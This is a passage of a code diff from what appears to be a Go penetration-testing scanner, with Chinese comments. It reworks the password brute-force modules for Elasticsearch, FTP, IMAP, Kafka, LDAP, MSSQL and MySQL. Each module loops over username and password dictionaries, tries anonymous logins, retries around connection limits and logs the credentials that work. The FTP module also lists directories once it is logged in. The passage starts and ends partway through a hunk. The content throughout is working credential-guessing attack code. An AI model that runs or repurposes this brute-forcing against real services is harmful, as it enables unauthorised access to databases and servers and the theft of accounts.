||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
flag, err := ElasticConn(info, user, pass)
|
flag, err := ElasticConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{flag, err}
|
}{flag, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -67,6 +84,8 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Elasticsearch服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||||
|
info.Host, info.Ports, user, pass))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -82,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
@ -93,6 +112,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,7 +8,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// FtpScan 执行FTP服务扫描
|
|
||||||
func FtpScan(info *Common.HostInfo) (tmperr error) {
|
func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
@ -16,84 +15,99 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试匿名登录...")
|
||||||
|
|
||||||
// 先尝试匿名登录
|
// 先尝试匿名登录
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
flag, err := FtpConn(info, "anonymous", "")
|
flag, err := FtpConn(info, "anonymous", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
|
Common.LogSuccess("匿名登录成功!")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||||
Common.LogError(errlog)
|
Common.LogError(errlog)
|
||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
|
||||||
if retryCount == maxRetries-1 {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["ftp"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["ftp"] {
|
for _, user := range Common.Userdict["ftp"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
|
|
||||||
// 检查是否超时
|
var lastErr error
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行FTP连接
|
// 执行FTP连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := FtpConn(info, user, pass)
|
success, err := FtpConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
var err error
|
|
||||||
select {
|
select {
|
||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
if result.success && result.err == nil {
|
||||||
if result.success && err == nil {
|
successLog := fmt.Sprintf("FTP %v:%v %v %v",
|
||||||
|
info.Host, info.Ports, user, pass)
|
||||||
|
Common.LogSuccess(successLog)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
lastErr = result.err
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
err = fmt.Errorf("连接超时")
|
lastErr = fmt.Errorf("连接超时")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理错误情况
|
// 处理错误情况
|
||||||
if err != nil {
|
if lastErr != nil {
|
||||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
|
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
|
||||||
info.Host, info.Ports, user, pass, err)
|
info.Host, info.Ports, user, pass, lastErr)
|
||||||
Common.LogError(errlog)
|
Common.LogError(errlog)
|
||||||
|
|
||||||
// 检查是否需要重试
|
// 如果是密码错误,直接尝试下一个组合
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if strings.Contains(lastErr.Error(), "Login incorrect") {
|
||||||
if retryCount == maxRetries-1 {
|
break
|
||||||
return err
|
}
|
||||||
|
|
||||||
|
// 如果是连接数限制,等待后重试
|
||||||
|
if strings.Contains(lastErr.Error(), "too many connections") {
|
||||||
|
Common.LogDebug("连接数过多,等待5秒...")
|
||||||
|
time.Sleep(5 * time.Second)
|
||||||
|
if retryCount < maxRetries-1 {
|
||||||
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -106,6 +120,12 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
// 确保连接被关闭
|
||||||
|
defer func() {
|
||||||
|
if conn != nil {
|
||||||
|
conn.Quit() // 发送QUIT命令关闭连接
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
// 尝试登录
|
// 尝试登录
|
||||||
if err = conn.Login(Username, Password); err != nil {
|
if err = conn.Login(Username, Password); err != nil {
|
||||||
@ -113,7 +133,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 登录成功,获取目录信息
|
// 登录成功,获取目录信息
|
||||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||||
dirs, err := conn.List("")
|
dirs, err := conn.List("")
|
||||||
if err == nil && len(dirs) > 0 {
|
if err == nil && len(dirs) > 0 {
|
||||||
// 最多显示前6个目录
|
// 最多显示前6个目录
|
||||||
@ -126,6 +146,5 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
@ -17,32 +17,43 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["imap"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["imap"] {
|
for _, user := range Common.Userdict["imap"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行IMAP连接
|
// 执行IMAP连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := IMAPConn(info, user, pass)
|
success, err := IMAPConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -65,17 +76,17 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -85,6 +96,7 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
|||||||
addr := fmt.Sprintf("%s:%s", host, port)
|
addr := fmt.Sprintf("%s:%s", host, port)
|
||||||
|
|
||||||
// 首先尝试普通连接
|
// 首先尝试普通连接
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试普通连接: %s", addr))
|
||||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if flag, err := tryIMAPAuth(conn, host, port, user, pass, timeout); err == nil {
|
if flag, err := tryIMAPAuth(conn, host, port, user, pass, timeout); err == nil {
|
||||||
@ -94,6 +106,7 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 如果普通连接失败,尝试TLS连接
|
// 如果普通连接失败,尝试TLS连接
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试TLS连接: %s", addr))
|
||||||
tlsConfig := &tls.Config{
|
tlsConfig := &tls.Config{
|
||||||
InsecureSkipVerify: true,
|
InsecureSkipVerify: true,
|
||||||
}
|
}
|
||||||
@ -106,7 +119,6 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
|||||||
return tryIMAPAuth(conn, host, port, user, pass, timeout)
|
return tryIMAPAuth(conn, host, port, user, pass, timeout)
|
||||||
}
|
}
|
||||||
|
|
||||||
// tryIMAPAuth 尝试IMAP认证
|
|
||||||
func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass string, timeout time.Duration) (bool, error) {
|
func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass string, timeout time.Duration) (bool, error) {
|
||||||
conn.SetDeadline(time.Now().Add(timeout))
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
|
@ -14,9 +14,14 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
|
||||||
// 首先测试无认证访问
|
// 首先测试无认证访问
|
||||||
|
Common.LogDebug("尝试无认证访问...")
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||||
|
}
|
||||||
flag, err := KafkaConn(info, "", "")
|
flag, err := KafkaConn(info, "", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
return nil
|
return nil
|
||||||
@ -30,32 +35,41 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["kafka"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["kafka"] {
|
for _, user := range Common.Userdict["kafka"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行Kafka连接
|
// 执行Kafka连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := KafkaConn(info, user, pass)
|
success, err := KafkaConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -79,17 +93,17 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,7 +8,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// LDAPScan 执行LDAP服务扫描
|
|
||||||
func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
@ -16,38 +15,50 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试匿名访问...")
|
||||||
|
|
||||||
// 首先尝试匿名访问
|
// 首先尝试匿名访问
|
||||||
flag, err := LDAPConn(info, "", "")
|
flag, err := LDAPConn(info, "", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["ldap"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["ldap"] {
|
for _, user := range Common.Userdict["ldap"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行LDAP连接
|
// 执行LDAP连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := LDAPConn(info, user, pass)
|
success, err := LDAPConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -71,28 +82,27 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
break
|
||||||
break // 如果不需要重试,跳出重试循环
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
// LDAPConn 尝试LDAP连接
|
|
||||||
func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
host, port := info.Host, info.Ports
|
host, port := info.Host, info.Ports
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
// 构造LDAP连接地址
|
|
||||||
address := fmt.Sprintf("%s:%s", host, port)
|
address := fmt.Sprintf("%s:%s", host, port)
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试连接: %s", address))
|
||||||
|
|
||||||
// 配置LDAP连接
|
// 配置LDAP连接
|
||||||
l, err := ldap.Dial("tcp", address)
|
l, err := ldap.Dial("tcp", address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
@ -16,32 +16,43 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["mssql"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["mssql"] {
|
for _, user := range Common.Userdict["mssql"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行MSSQL连接
|
// 执行MSSQL连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := MssqlConn(info, user, pass)
|
success, err := MssqlConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -50,6 +61,8 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("MSSQL %v:%v %v %v",
|
||||||
|
info.Host, info.Ports, user, pass))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -64,7 +77,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
@ -75,6 +88,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -16,32 +16,43 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["mysql"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["mysql"] {
|
for _, user := range Common.Userdict["mysql"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行MySQL连接
|
// 执行MySQL连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := MysqlConn(info, user, pass)
|
success, err := MysqlConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
